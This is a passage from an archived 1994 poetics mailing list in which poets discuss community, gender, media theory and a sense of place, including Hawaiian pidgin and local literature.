level-headed at every moment, not closed them
down.

But lets face it--it closed things down. And the
opposite of missent, the unsent letter, is just
plain unsettling. I have been complaining about
this discussion of community to a number of people

(gender: F) over the last couple of weeks. One writes: Are the woman just not hooked up technologically? (I think the answer is no.) Another, hoping to find some angel therein...Feel a bit left off/out of the dis. And another, It is too horrible to talk about on e-mail.

Discomforting or not, the issue of those identity centered social construct cliches (race, class, and gender) have been pointedly absent from the community discussion of community. The definition of community on this list has been as a consequence an uneasy one (after all, these constructs are dominant discussions in our culture, they compose almost every discussion of community. I do not mean to indict those involved in this discussion but rather to point to how rigorous our avoidance of them has been). So Jennifer's response, which I read (although she should correct me if she feels I am softening it in some way) as one that does not attack the continual male presence on the list, attacks the noted absence of gender in the discussion. She notices "invigorated but shut down"; "at least I have dishes"; "the house that shut the door." She wants a "keen eye." This eye she wants from all of us, every gender.

A. L. Nielson came and gave a talk the other day on the social constructions of identity (his concentration: race). This is something that is in vogue in the academy. I like this argument. Race, gender, class, all %are% social constructs. But always I am left wanting the next step. To apply to my experience, I am always trying to escape my gender. I want to be virtual. I want to be believed when I am in various forms of drag. But this argument about the social construct is one that always leaves me wanting. At the same time that part of me wants to celebrate, another part of me tells me to wake up. The word "drag" and "passing" speaks not of our ability to transcend these social structures, but rather that there is

an institutionalized name (and thus definition with its limitations) of this transcendence. As we are always filling out forms, we are always checking off boxes. So--What do I do now that I recognize that this thing that I am told that I am during a great part of my day is a construct?; Can I join a self-help group about escaping my construction?; Buy a manual for creating a new one?; Take riding lessons for Bernadette's two horses?

I guess my question is where should this "keen eye" look? And more specifically to Ben, how do you reconfigure, review, whatever, the power, the overwhelming presence, of male discourse on this list?

Juliana Spahr
From: IN%"[redacted]" "UB Poetics discussion group" 27-FEB-1994 14:36:42.80

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80. Patrick Phillips
the purloined
Sun 27 Feb 1994

Spun from Julianna's idea of "missent" letter is that of the "purloined" that too has a margin, but one which is much more motivated, less mis-taken; the purloined preceeds, "creates" the unsent letter. I just wonder what sets up this area of theft, of what goes unwritten, and how unsettling it is, or where, as some kind of unmeasurable quanta of experience, this unsettling goes on in some kind of purloined sphere.

So there is the purloined experience that goes unquantified.

But we know who is stolen and who steals.

Yet, our aesthetic mix ellides the search and the letter sometimes to the point that we aren't sure who's the inspecter and who's the theif.

We often seem to remain in the hiatus of this discovery. This hiatus resembles the virtual, as some "secret drawer." But we all know that there is a "certain amount of bulk-of space-to be accounted for in every cabinet." It's purely physical.

"But could not the cavity be detected by sounding?"

I'm not sure how we "sound" such spaces without attributing.....

This is where characteristics come in, gender, the physiognomy of "this space," the "tone" of the object sounded, the "institution" of discovery.

"I presume you looked into the mirrors, between the boards and the plates, and you probed the beds and the bedclothes...You include[d] the "grounds" of the houses?"

In some ways I wish to remain stolen, but I steal which makes that somewhat impossible. Perhaps I'll never apprehend my thief, but I will "examine [him] to better purpose in the dark." There too lies the unseen and the unsent.

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 27-FEB-1
994 16:33:38.13

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81. Martin Spinelli

sounding))))))))

Sun 27 Feb 1994

Being a tender sort, I dwelt for hours over what I read as Charles' dissatisfaction at what he sees and doesn't see here... and more hours still over Gene's suggestion that we "check our egos at the door." But in the end I only found myself questioning their (very different) expectations.

In Hans Enzensberger's "Constituents of a theory of the media" (_NLR_ #64) I found these same anxieties over "response".

the utopia in Enzensberger's article is made possible through "mass participation in the social and socialized productive process." the Vision is this: everyone a participant. that is a participation in the media -- in its production. he says at once that media can produce the Social and production can control the media.

more interestingly for us Enze says the social power is in response. *response is power* shutting down response is domination.

in spite of the optimistic rhetoric, Enze himself gives us examples of media's failed potential (which he never

sufficiently recuperates). in the hands of his "masses" short wave radio is pathetically impotent, badly imitating bad examples form commercial radio. the goal of his idealized liberated media is "mobilization" (vague throughout). whatever it is, radio hams don't have it. they are isolated and remain so. somehow mobilization for Eze must be physical. an intellectual mobilization, a mobilization of response seems possible both on radio and on the Net. Community needs dialog.

the Net, the medium with the potential for response, can't equal Eze's imagination. initially and in places there is a vocalization in unison at places if not an "organization" or "mobilization". but looking further it is lacking: there are only prolific and pervasive fragments, all their own centers or all speaking equally comfortably from the margins. can a greater Social exist without interaction tween the fragms, without impetus towards the improvement of the Whole? (yet there is this impetus around the hardware -- everyone wants to improve the medium itself.)

Where is the revolution?

there is the opportunity to exercise power -- to say something. like a baudrillard essay nothing is heard before [EOB] or after the last footnote. containment. what would the virtual revolution look like? erev? control cannot be taken of anything on the Inside -- for the first time the Inside is the place bereft of power and imagination, bereft of agency with the simulation of agency.... curiously supervised
scrutinized
Clippered
surreptitiously ceansuored
evaluated
categorized
and
fast
(it posits an new class.sys: the techobourgeoisie over the infobourgeoisie.)

again Eze: media's power is its mobilization of the masses. but real mobilization coming from media would

presume at most three channels (three access points, three meanings all referringtoeachother). mobilization is an anomaly on the Net because of the infinity of channels and the infinity of messages...is it enough to be united around a medium? to have a vested interest in the medium, to be dependent on it? there is a kind of mobilization around this but it can only ever be mustered _in support_ of the medium. with an infinity of channnels, consumption and production don't just get blurred. production *becomes* consumption. supporting a right to production is only like good advertizing... teaching us we're not really happy. we didn't know how unhappy we were. responding erodes. the mic is too close to the amp.

feedback... the repetition of what has already been transmitted fading and distorted but essentially the same as what has already been said. the difference between feedback and response is the difference between a system of simulations and asystem of meaning? Badrill is great on this in his "The Masses": public opinion polls dictate the limits of public experience.

in his media strategy which seeks to end isolation (read "alienation") COMMUNITY IS MANDATORY

Eze is aware that a sys in which everyone produces/expresses will yield only noise. noise which does not hold one's interest like nonsense but is only irritating -- distressing. here he says that the masses must be taught to be better producers if the utopian mobilization is to be realized. in this way they could record their daily experiences and learn from them. again organization is liberating not the tech that provides it.

on the net you can respond to the message, and only indirectly, inadvertently about the medium. you use the Net yet you cannot have a dialog with the Net.

there is a danger when the link between community and medium becomes too perfect (seemless, transparent as tech pretends it can make it) *as obvious intrusions of the media begin to disappear more completely the less there will be to say* the connection is the only viable issue,

source and site of discourse. as it evaporates so must communication.

the resistance of the medium, the time spent in the friction of translation/communication allows for rumination, for contemplation, for thought (even if it is only an examination of its deployment). when this space disappears all we will be able to do is sit and stare.

the eze short term solution: authors and producers must work as agents for the masses and only when the masses learn to cut tape and mix music can the producer "lose himself". This is how he ultimately solves the noise problem.

as media are currently constituted (one-directionally), *response* is anti-media. the ideal response that Eze is after must go beyond the limits he sets for it. it must be outside like spray paint on the monitor. Badrill claims there exists "a possible subversion of the code of the media [in the] possibility of alternative speech and a radical reciprocity of symbolic exchange."

exchange is the radical thing... but exchange of what... a change must happen in the exchange -- reworking it into what is an anti-aesthetic -- (anti- to the aesthetic of the professional media and the OED) -- upset the hegemony, don't believe theauthorityandtwsit its structure with implied orthography. Signify without rules. ignore Expectations.

the Net is not often used in
the way say Bill or Ben or
Jonathan (Howe, Freidlander,
Fernandez, three that came
first to mind) use language
in their poetry. the
  materiality of the Net
  is not often tinkered
  with --thought about --
  addressed as something
  other than a transparent
  medium of representing
  (thought or something).
the hegemony of these lingos

is not exposed or disrupted
by toying with, or even
showing, the structure. it
is believed in. we must
lose/loose our faith.
From: IN%"[redacted]" "UB Poetics discussion group" 28-FEB-1
994 12:17:02.62

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82. cynthia kimball
two horses
Mon 28 Feb 1994

Ghost that I am--or is ghosting an act, so I
"ghost" but AM not a ghost--I read these messages
invisibly, until now silently. I FEEL invisible
and safe that way, to be perfectly honest. I'm
scared right now writing, don't even know if this
post will post, don't want to expose my silence
my silent reading presence. Female that I am--or is
female-ing an act, so that I can "check my gender at
the door" (no double meaning intended), be a ghost
pass judgment and take sides and change my mind with
every new side there is to take without exposing the
vulnerable new sprouts of opinions to the frost
while in the process of sprouting them....Is my silence
because I'm female and feel left out or am I leaving
myself out because I'm female or am I a temporarily
ungendered ghost because I haven't claimed my USERID
in front of anyone yet for whatever fear-full reasons.
I could choose a male pseudonym that would protect my
silence a little longer. I thought about it. Anyway
Im going back into the ether for a while.
From: IN%"[redacted]" "UB Poetics discussion group" 28-FEB-1
994 21:01:40.22

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83. Steve Evans
Repair Work
Mon 28 Feb 1994

In my experience as a young recruit from the post-no-fault-divorce-secretarial-working-class into the technobourgeoisie...

But can a sentence really begin that way?

I think a keen eye should be kept, as Charles has already indicated, on the way our apparently *elective* affinities are underpinned by *selective* in- stitutions. Cross out that "s" and the drainage pipe starts pumping inertial goo (mystification) into the discursive stream... We all go belly up.

The question of how to generate maximum democracy in an institution that is fundamentally anti-democratic obviously cannot be suspended until "the others" arrive. Should we then call an constituent assembly, as James Sherry recommends? Or would people on this list see in that just another act of mystification?

The question of "how universal is the university" (to quote an analogous debate, cf. *transition* a few volumes back) is obviously *not very.* But how convert that answer into a political project if not on the basis of a concept of real universality?

Education is a generalizable interest; those of us who write, publish, teach, read, get all upset about, and sacrifice our sanity to, poetic practice are also sometimes acting so as to *generalize* an interest in poetry. Sometimes we're just making moves on one another for the sake of maximizing our own symbolic capital. No amount of individual saintliness will purify our acts of formation of this element (saints actually understand symbolic capital better than most sinners do), but rigorous and humorous techniques of de- flation are a resource we should never forget to renew and use.

I think the theoreticians of ecstatic communication are of extremely limited relevance to our situation here. However inappropriate the model of *communicative action* advanced by Jurgen Habermas may be when it comes to thinking through our aesthetics, a sublimity-soaked aesthetics-pretending-to-be-politics is an even worse cognitive liability when it comes to thinking through the politics of this for(u)m.

Nomads with newtons = monads with modems?

I think we're in a situation where un-coerced agreement on how to proceed is possible. I think we've done very little so far to identify and thematize resources and commitments that are shared and that might come in handy when a little *repair work* is necessary...

Finally, because Pierre Joris and Tom Mandel's joint-post a while ago brought up the issue of "outcomes" as something "communities" usually have at their disposal for sanctioning the unruly, and because we have been trafficking in negative outcomes for long enough, I would like to tick down the list of outcomes experienced by this participant at least as positive.

Because of this list, I have either read or re-read: Diane Ward's *Imaginary Movie,* Reznikoff's *Testimony,* Erica Hunt's *Notes for an Oppositional Poetics,* Bernstein's *Reznikoff's Nearness,* Susan Stewart's article in *Profession 93,* to mention just the ones I can remember here at work. Because of this list, and specifically the discussion of our failure to address gender until recently, I had an alternate context in which to place the gender politics of the Kootenay School Writers who just passed through Provi- dence to our great delight last week. Likewise, when Susan Stewart gives a lecture tomorrow on *Lyric History* I'll know a context in which what she says is apparently already known... I could go on...

This list opens a dimension within social space. It is *not* a social space unto itself (I would feel sad for anyone who found it so). Every contradiction that governs our social order will be visible at one time or another here in this dimension. That should not surprise us. That should not shut us down. At the minimum, the fact that postings do not cancel one another out--as monologues in real time conversations and seminars and public meetings do-- should be recognized and explored. The low opinion of how things are going so far (in the sent, the unsent, and the missent postings) reminds me a lot of the "mood" that kept threatening to congeal at the *New Coast* festival last spring in Buffalo. Now I know that complaint and gossip are vital signs ("that's not a cross look it's a sign of life") that something is happening. I also know that most complaints are grounded: things are *that* bad. But given the relative scarcity of occasions when something can actually be done about what's bad, it seems almost lazy to keep on in those modes.

A thought, like any other relationship, isn't real until you risk it.

Steve
From: IN%"[redacted]" "UB Poetics discussion group" 28-FEB-1
994 21:16:05.16

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84. Hans-Joachim Rieke

community, gender

Mon 28 Feb 1994

I wanted to avoid raising the gender question, as the effect usually is, that women suddenly speak up, but are at the same time cornered, labelled, hemed

in by the topic. Women talking/writing only to write about gender. Personally I don't feel excluded by the jargon of the discussions. Many of the books that are being talked about are not available, or not immedeately so, for me, so I am content to "listen", read, and I don't feel like a peeping Tom for it. Not all of what is being discussed is interesting anyway, and I need a longer time forming my own ideas about e-mail effects on discourse, at the reading Flusser and Bolz and others on the topic. A lot of what is going on in this list seems the public continuation of private discourse of e-mailing, so that it is often difficult to cross the gaps. What I do not quite understand though is, if I personally address people, asking simply for information, that I didn't get an answer more than once - gender unrelated by the way. This is more than rudeness, it has to do with community. I was a little surprised anyway how little the various investigations of the term community were touched by a Foucauldian understanding of how discourse funtions; if I understand him rightly, community is not only made by the collective of all speech acts, the absent presence of all participants, but equally so by all speech acts that are silenced, excluded, treated as "gibberish", foolishness, etc. Only a "huh? for a critical letter by Arcadii is not much worry indeed. Finally I find amusing, the indignation (read emotional outburst) the "woman speak" (?) created by the private/public letter...

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The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1994

17 messages · Mon 7 Mar 1994 – Sat 26 Mar 1994

March 1994 lets the theoretical fever of February break, and the list turns, gratefully, to place — to where each of its voices happens to be standing while it types. Joe Amato opens the month looking out the window of a spare bedroom in Illinois and finding an urban landscape that answers nothing in the woodsy Syracuse of his childhood; his subject-line, coeval with, becomes the month's quiet keyword. What moves him, he writes, is *“a sense of place, and corresponding dislocations”* — nostalgia refused, geography kept.

The theme travels. From Germany, Hans-Joachim Rieke writes in, hungry for reading on hyperreality and for news of an American poetry he can only reach at a distance, and the list obliges with its habitual generosity of lists and addresses. Susan Schultz sends down from Hawai'i a hard, funny pidgin dialogue about who counts as local and who as haole, adolescence and multiculturalism turned over without mercy. Distance, in March, is not an obstacle to the conversation; distance is the conversation's subject.

Martin Spinelli, still smarting a little from February's error-framed exchange, extends the argument about mediation into a meditation on the radio ham — the solitary broadcaster flinging signal into the dark and receiving, mostly, silence back. Whatever community the airwaves promise, he decides, the operators *“are isolated and remain so”*. It is a shrewd thing to say on a mailing list, which is after all only a more sociable species of the same wireless loneliness.

A slighter month than the one before it, and a more human one — the poets comparing windows, trading the names of books, locating themselves on the map before they resume locating themselves in argument. I have set each letter forward under its author's name, the private numbers and addresses returned to the dark, so that what remains is the talk itself, and the several distances it had to cross to arrive.

— Kristen M. Fabians

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1. Joe Amato
coeval with...
Mon 7 Mar 1994

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i must admit to being taken by a sense of place, and corresponding dislocations...

for me, whatever creative possibilites emerge from disruptions in place move me to thresholds---cognitive, emotional---that are often painful... in part because place for me IS the timing of space, a spacing in time replete with boundaries...

when i look out my window (in the spare bdrm. of my apt. where i've located my mac) i see an urban landscape that bears little resemblance to the suburban, woodsy, fifties territories of my childhood... nostalgia here is not the point---the point is that i feel a spiritual resonance with the geographies of central and upstate new york, while at the same time i have no intention of residing again in the city of my birth (syracuse, the salt city)... ambivalence more polyvalence---it's a mixture of feelings, longings, desperations, impulses---in the blood, as it were...

hence looking into *this* window is yet looking out another, and vice-versa... "coeval with" your various readings of this post---but with a few things more, perhaps...

the issue has to do with regionalisms as well as (inter)nationalisms... i'm hearing, in the background (someplace) lennon's "imagine," a song from my late teens, and i'm wondering what sort of cosmopolitan it is who *doesn't* identify with such identities ---which is NOT to say the lyrics... which, yes, translate into overarching sociopolitical exigencies...

fifty miles south of me the land flattens out like a drainboard... i spent a couple of lonely years in those directions, dealing with the death of my folks... but my solitudes where marked, thankfully, by having made a few best friends...

down that way, far as the (untrained) i can see [sorry] one generally witnesses endless orthogonal acres of single-crop farming---corn, or soybeans... this, for example and for me, is most definitely NOT nature... this latter may be problematic everywhere today, but whatever else it is, i don't quite identify it with non-diversity...

i have an eye for hill and dale and that sorta thing... variations against the Same, and in pixeled terms as well... but i'll probably mself end up someplace in the suburbs, or fringe burbs... i'm hoping it won't be entirely too mediocre, mall-ish... but there's this thing about having the bucks, yknow, to move, and where---and i'd like a little tomato patch before i'm too much older...

i'm used to small pockets of italian ethinicity (being 'second generation' on my dad's (sicilian) side) and little euro-pockets as well (being 'first generation' on my mom's side)... chi-town does this for me at times, but the midwest, otherwise, rarely does... hence i'm east in many ways... my neuroses operating on the surfaces, the silent machismo of the midwest grates on me at times... and such regional, even moody judgments follow from feelings born of having found correspondences between my convictions, as i live them out, and my ongoing, provisional understanding---nothing arbitrary here, or innocent, or necessarily nice...

and yet i carry around a southwestern landscape someplace in my jeans [sorry again], a true-blue Western mythology probably as much a consequence of loving, in my child-adulthood, westerns (cinema and tv) as a function of more legislated attempts to establish an american ethos...

if there is yet an argument to be made in such terms... saturated though it might be with hollywood and jiffypop, my memory, altering, is something i live with and through...

if 'i don't know where i stand,' exactly, i'm damn well gonna have to be standing someplace, metaphysically speaking... looking out toward the shifting horizon, trying to figure the when's and where's of things as i find them...

joe

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2. FUNKHOUSER CHRISTOPH

Re: what they talked excitedly about

Mon 7 Mar 1994

Steve--hello--

Thanks for the Kootenay update--it seems to have sparked at least one thread, & hopefully we ta'wil our way back to some of those other themes later. After checking back through The L Robertson/C Stewart/ C Strang entry in the oblek "Subject & Position" section & reading "Wrenched history is our machine's frontier" figured they'd bring some issue or another pertinent to our talk here & yes --

Can somebody post a citation for _The Poetics of Criticism_?

mr ltr funk

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3. Hans-Joachim Rieke
media theory
Mon 7 Mar 1994

As somebody asked for further information about Bolz/Flusser, I'll enter this part of my answer to the list: Vilem Flusser is native of Prague then lived in South America for a long time teaching media theory, and finally in the south of France. He died recently and is being read more and more in Germany. I only know German titles:UEBER SCHRIFT (ON SCRIPTURE); LOB DER OBERFLCHLICHKEIT (PRAISE OF SUPERFICIALITY/ SURFACES); he has written more though; Norbert Bolz is a strange guy, supposedly something of a genius, taught philosophy at the Free University Berlin, and is now professor at the institute for cultural and media studies at Essen. He started writing about Benjamin, taught Derrida and Lacan, Kant, Hegel and arrived at media theory. Argues that philosophy necessarily comes to an end, end of hermeneutics, leads to media theory... has written proliferously - in German AM ENDE DER GUTENBERG GALAXIS; PHILOSOPHIE NACH IHREM ENDE are the most recent books. I'm grateful for any "Literaturtips" on "hyperreality"

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4. Robert Drake
Re: what they talked excitedly about
Mon 7 Mar 1994

> *Can somebody post a citation for _The Poetics of Criticism_?*

A Poetics of Criticism
Juliana Spahr, Mark Wallace, Kristin Prevallet, Pam Rehm, eds.
1994

Leave Books
57 Livingston St.
Buffalo NY 14213

ISBN 0-922668-11-6

bonus question: which 2 editors are not subscribed to this list?

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5. susan schultz
(no subject)
Tue 8 Mar 1994

To members of the net:

More thoughts on identity politics (and I'm intrigued by the slow-starting discussion of Canadian identity, which I gather is English-speaking Cana- dian). The similarity of languages poses problems that are easily (perhaps too easily) deflected onto language politics here in Hawaii (where, yes, the weather today is gorgeous, since our rainy season ended recently). Here's an example of a poem that distinguishes between the mainland US and Hawaii, by Joe Balaz:

Eh, howzit brah,
I heard you goin mainland, eh?
    No, I goin to the continent.
Wat? I taught you goin San Jose
for visit your bradda?
    Dats right.
Den you going mainland brah!
    No, I goin to da continent.
What you mean continent brah?!
Dah mainland is dah mainland,
dats where you going, eh?!
    Eh, like I told you,
    dats da continent--
    Hawai'i
    is da mainland to me.

(Lots of missing italics that I don't know how to do in email-speak.) My colleague, Rob Wilson, sets this poem and others in the context of a local resistence to global incursions in his forthcoming book out of Duke. But what's interesting to me at this moment is the local resistence to other definitions of local, which comes out so well in Lois-Ann Yamanaka's work, which is being received well on the "mainland" (or continent), but is getting flak here for perpetuating racist stereotypes, of which there are hundreds on this island of a myriad of ethnic groups. One of her adolescent girl speakers appears in a poem called "Kala Gave Me Anykine Advice Especially About Filipinos When I Moved to Pahala." Another attacks Japanese teachers (most local public school teachers are Japanese-American):

So what if the teacher look at us.
Just another stupid Jap. You eva wen' notice
that every teacher we had since elementry days
was one lady Jap?
Eh, what you trying for say to me?
I ain't one fuckin' Jap like them.
Their eyes mo slant than mine and yeah,
I one Jap, but not that kine . . .

So much for adolescent multiculturalism!

The new TV show, BYRDS of PARADISE, though its concept is lame, and the acting shallow, tries to do a good job of presenting a local view of Hawaii's problems. In fact, they presented just about all of them in the first 10 minutes of the pilot show.

Of islands: John Figueroa, a West Indian poet and critic, gave a talk here last week in which he showed how Derek Walcott's early work WAS local, both in its sense of place and in its switching of languages according to context. A good view of Walcott not as a postcolonial with a yen for the colonial, but a poet of his place, which includes the British influence, but also creole (English and French). His text was one of the sonnets from "Tales of Islands," in Walcott's earliest "Selected Poems." It starts out: "Poopa da fete!"

Best wishes from paradise!

Susan Schultz

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6. James Sherry

Re: putative ms

Wed 9 Mar 1994

Susan: Excellent notes on place, but how to include Beaudelaire's idea of place as a cipher for self, if by poetry we say one thing and mean also something else.

And also Charles said you think I have an unanswered ms of yours which I don't and if I did why wouldn't you ask me for it instead of Charles. James Sherry

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7. Martin Spinelli

last poetics post

Fri 11 Mar 1994

From: UBVMS::V139HLA3 27-FEB-1994 16:01:10.11
To: CHARLES
CC: V139HLA3
Subj: RESPONSE response

Hans Enzensberger's "Constituents of a theory
of the media"

the utopia in Enzensberger's article is made possible
through "mass participation in the social and socialized
productive process." the Vision is this: everyone a
participant. that is a participation in the media -- in

its production. he says at once that media can produce the Social and production can control the media.

more interestingly for us Enze says the social power is in response. *response is power* shutting down response is domination.

in spite of the optimistic rhetoric, Enze himself gives us examples of media's failed potential (which he never sufficiently recuperates). in the hands of his "masses" short wave radio is pathetically impotent, badly imitating bad examples form commercial radio. the goal of his idealized liberated media is "mobilization" (vague throughout). whatever it is, radio hams don't have it. they are isolated and remain so. somehow mobilization for Eze must be physical. an intellectual mobilization, a mobilization of response seems possible both on radio and on the Net. Community needs dialog.

the Net, the medium with the potential for response, can't equal Eze's imagination. initially and in places there is a vocalization in unison at places if not an "organization" or "mobilization". but looking further it is lacking: there are only prolific and pervasive fragments, all their own centers or all speaking equally comfortably from the margins. can a greater Social exist without interaction tween the fragms, without impetus towards the improvement of the Whole? (yet there is this impetus around the hardware -- everyone wants to improve the medium itself.)

Where is the revolution?

there is the opportunity to exercise power -- to say something. like a baudrillard essay nothing is heard before [EOB] or after the last footnote. containment. what would the virtual revolution look like? erev? control cannot be taken of anything on the Inside -- for the first time the Inside is the place bereft of power and imagination, bereft of agency with the simulation of agency.... curiously supervised
scrutinized
Clippered
surreptitiously ceansuored
evaluated

categorized
and
fast
(it posits an new class.sys: the techobourgeoisie over the infobourgeoisie.)

again Eze: media's power is its mobilization of the masses. but real mobilization coming from media would presume at most three channels (three access points, three meanings all referringtoeachother). mobilization is an anomaly on the Net because of the infinity of channels and the infinity of messages...is it enough to be united around a medium? to have a vested interest in the medium, to be dependent on it? there is a kind of mobilization around this but it can only ever be mustered _in support_ of the medium. with an infinity of channnels, consumption and production don't just get blurred. production *becomes* consumption. supporting a right to production is only like good advertizing... teaching us we're not really happy. we didn't know how unhappy we were. responding erodes. the mic is too close to the amp.

feedback... the repetition of what has already been transmitted fading and distorted but essentially the same as what has already been said. the difference between feedback and response is the difference between a system of simulations and asystem of meaning? Badrill is great on this in his "The Masses": public opinion polls dictate the limits of public experience.

in his media strategy which seeks to end isolation (read "alienation") COMMUNITY IS MANDATORY

Eze is aware that a sys in which everyone produces/expresses will yield only noise. noise which does not hold one's interest like nonsense but is only irritating -- distressing. here he says that the masses must be taught to be better producers if the utopian mobilization is to be realized. in this way they could record their daily experiences and learn from them. again organization is liberating not the tech that provides it.

on the net you can respond to the message, and only indirectly, inadvertently about the medium. you use the Net yet you cannot have a dialog with the Net.

there is a danger when the link between community and medium becomes too perfect (seemless, transparent as tech pretends it can make it) *as obvious intrusions of the media begin to disappear more completely the less there will be to say* the connection is the only viable issue, source and site of discourse. as it evaporates so must communication.

the resistance of the medium, the time spent in the friction of translation/communication allows for rumination, for contemplation, for thought (even if it is only an examination of its deployment). when this space disappears all we will be able to do is sit and stare.

the eze short term solution: authors and producers must work as agents for the masses and only when the masses learn to cut tape and mix music can the producer "lose himself". This is how he ultimately solves the noise problem.

as media are currently constituted (one-directionally), *response* is anti-media. the ideal response that Eze is after must go beyond the limits he sets for it. it must be outside like spray paint on the monitor. Badrill claims there exists "a possible subversion of the code of the media [in the] possibility of alternative speech and a radical reciprocity of symbolic exchange."

exchange is the radical thing... but exchange of what... a change must happen in the exchange -- reworking it into what is an anti-aesthetic -- (anti- to the aesthetic of the professional media and the OED) -- upset the hegemony, don't believe theauthorityandtwsit its structure with implied orthography. Signify without rules. ignore Expectations.

the Net is not often used in the way say Bill or Ben or Jonathan (Howe, Freidlander, Fernandez, three that came first to mind) use language in their poetry. the

materiality of the Net
is not often tinkered
with --thought about --
addressed as something
other than a transparent
medium of representing
(thought or something).
the hegemony of these lingos
is not exposed or disrupted
by toying with, or even
showing, the structure. it
is believed in. we must
lose/loose our faith.

↑ Index

8. Martin Spinelli

oops

Fri 11 Mar 1994

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sorry for the accidental repost

ms

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9. steve evans

coeval with...

Sat 12 Mar 1994

The lull in new messages is not, I suppose, necessarily something to fret over. In the interval, I find myself mulling over posting that are now several days old. I'd like to pose a question or two to Susan Schultz and Tom Mandel, with apologies to anyone who thinks I'm forcing us back over ground already covered....

First, it would interest me if Susan Schultz could supplement the discussion of poets such as Joe Balaz and Louis-Ann Yamanaka with a word or two about the way acces to publication is structured in Hawaii: are the conflicting definitions of "locality" played out in terms of publication sites as well as in subject-matter? Since print *mediates* and seems always to slip from "local" sites, I am curious as to how these writers conceive of and perhaps work to contain this inevitable generalization.

Then there are several questions I'd like to ask Tom Mandel. Tom writes (7 Mar 1994): "An identification of the persons and places we see is basic to

survival, isn't it?" The rest of his post abbreviates this "identification of" with a series of somewhat vague "it"s.

It was my impression that we were discussing a slightly different question, namely what are the bases of identifications *with* (a territory, its "populace"). And related to this, can such identifications withstand de-naturalization.... Is there a "we" that could convene itself without naturalizing its conventions, without pre-deciding the criteria for answering the question "who is of us, and who is not"? The suggestion in Tom's post is that to proceed with this question requires unreflexive "mental privilege." Am I interpreting that correctly?

I'd be interested in Tom's own gloss of Hugh of St. Victor's maxim. To my ears, "that one is perfect to whom the whole world is exile" registers as Christian dogma. But then I am unfamiliar with Hugh....

Finally, on 5 March, Tom claimed that Oppen was pondering "how to live in a spirit world (and *that* one is the "numerous" world) when one is ineluctable [sic] alone and confronted w/ it at all times. But you [Joel] know all that."

I initially let the "you know all that" mislead me into thinking I did. But upon reflection, I wonder if Tom would expand on this spirit world=numerous world equation. My own, never rigorously examined, take on the numerous has always seen it in the context of a decentralization of value regimes, partly the consequence of social and political shifts that we might, if speaking in shorthand, indicate with such words/events as global decolonization and national (U.S.) desegregation. The historical, then, has stood in my thinking just where Tom would apparently put "the spiritual."

What I'd be interested in is a definition (however provisional) of the "spirit world" that is also the "numerous" one in Tom's reading of Oppen.

Since I happened to watch Jim Jarmusch's _Night on Earth_ a few days ago, I find myself thinking also of his intentionally slight but insightful depictions of transitory bonds invented against the grain of what's "plausible" in an (international) social order still effectively structured by essentialist principles. But then, the film isn't as top-heavy as that sentence makes it sound.

Hoping to find that there are still people out (t)here.

Steve Evans

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10. Charles Bernstein

it's ascii but is is art or "Oubliez .Gif"

Tue 15 Mar 1994

A friend passed this on to me, clipped (if that's the word) from the alt.ascii-art newsgroup.

From: [redacted] (Kaisar Neron)
Organization: The House Of Hades

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11. **susan**

Re: coeval with...

Tue 15 Mar 1994

To Steve Evans and all:

In answer to Steve's question about publishing in Hawaii and its relation- ship to locality. There are a lot of small presses here, that come and go with the financial and emotional tides. The most sturdy and influential one is Bamboo Ridge, which published Lois-Ann Yamanaka's recent book, and has by now sold over 3000 (I kid you not) copies here and on the mainland. Joe Balaz has his own press, I believe. While Bamboo Ridge is often criticized for publishing only

local Asian-American writers, or everything they get in pidgin, or only fishing/family/etc. poems, they have come out with at least two books that I know off that concentrate on native Hawaiian work, one edited by Dana Naone Hall, and another by Rodney Morales, on the life of George Helm. (Helm was an activist who drowned while protesting the American military's bombing of Kahoolawe, a small island that was bombed for over 40 years as target practice. George Bush stopped the practice right before the 1990 senate elections in an effort to throw some votes to the Republican, who lost.)

At a local literature conference held this past weekend, one of my colleagues pointed out that many, if not most, people find out about local lit through performances throughout the state--either readings by the poets themselves, or dramatizations that are presented at schools. Yamanaka, however, has run into censorship recently; schools want to make sure that she reads poems that aren't too profane! I may have mentioned that members of the Filipino community are upset by her speakers' use of stereotypes against Filipinos. An interesting problem of audience.

One of the problems in disseminating native Hawaiian literature is that so much of it isn't "literature," but chants that accompany hula. The grant in support of the Hawaii Literary Arts Council, for example, has no provision for paying performers to do hula--money is only provided for literary events (literally). The University of Hawaii press, while it publishes OLD Hawaiian stuff, has a very bad record on publishing any new Hawaii literature. They only picked up Milton Murayama's influential, All I Asking For Is My Body, after Murayama had self- published it, and had started to sell a lot of copies. They have a new series on Pacific literature, which seems geared toward other (south) Pacific lit. More exotic.

There was a predictable attack on the UH English dept at this conference, with several speakers calling for members of the department to learn the Hawaiian language and history so that we can do justice to the literature of the state. While the institution deserves the grief it gets, not enough was said about the professional pressures put on academics to ignore the local and to study "national" or international literatures. The university, like the press, is a national, not a local institution, for better AND for worse.

I'll close with a poem printed in the conference guide (which includes essays and poems). It's by Joe Tsujimoto, who looks local, but whose accent gives him up as a New Yorker--a katonk, or mainland Asian- American. The title is "Lucky Come Hawaii" which is based on the expression used by members of the 442nd in World War II, most of whom were from Hawaii: "Lucky We Live Hawaii." The identity issues are rife here:

As an American
with an Oriental face
whelped in Manhattan
on the edge of Harlem
in subways
to school in the Bronx
or fixing teletype machines on Broad St.
next to All
I've been asked "What country you from?"
"What language do you speak?"
and my eyes cloud over
like concrete. So I say
"What country YOU from?
What language YOU speak?"
since everyone speaks with an
accent.

Here, in the islands
I am invisible.
Till I speak.
Then, "Eh, brah,
you one katonk, yuh?
I thump my chest like Tarzan.
"yea, brah. Married one local girl
who wen grad from
Parrin'ton High School.
That kind."
Smiling, he looks at me
with dolphins in his eyes.

Across the flightline of the Maui airport
I walk from the plane
reading Lonesome Dove.
Eyes following mine.
They appear at the baggage carousel
to my left. Knowledgeable eyes
in a middle-aged,
mainland face, perhaps from Texas.
He smiles over our secret
nods in approval at my
perseverance.
The local boy learning to read.
High culture.

I sit in the lobby of the old
Kaiser Hospital
my newborn baby warm in my arms
next to two old ladies--very old
who coo "Oh, how adorable!"
"An angel from heaven!" "Look at those
cheeks!"
"They're like sunshine!" You must be
the happiest parent!"
when I stand to introduce my wife
newly come from signing documents. "And
here's the mothter," I say.
Hair flashing, they look at each other
aghast--
when one says
"But we thought you were the mother."

Enough for now. Hope this answers your questions. Susan Schultz

↑ Index

12. Hans-Joachim Rieke

German poetry

Fri 18 Mar 1994

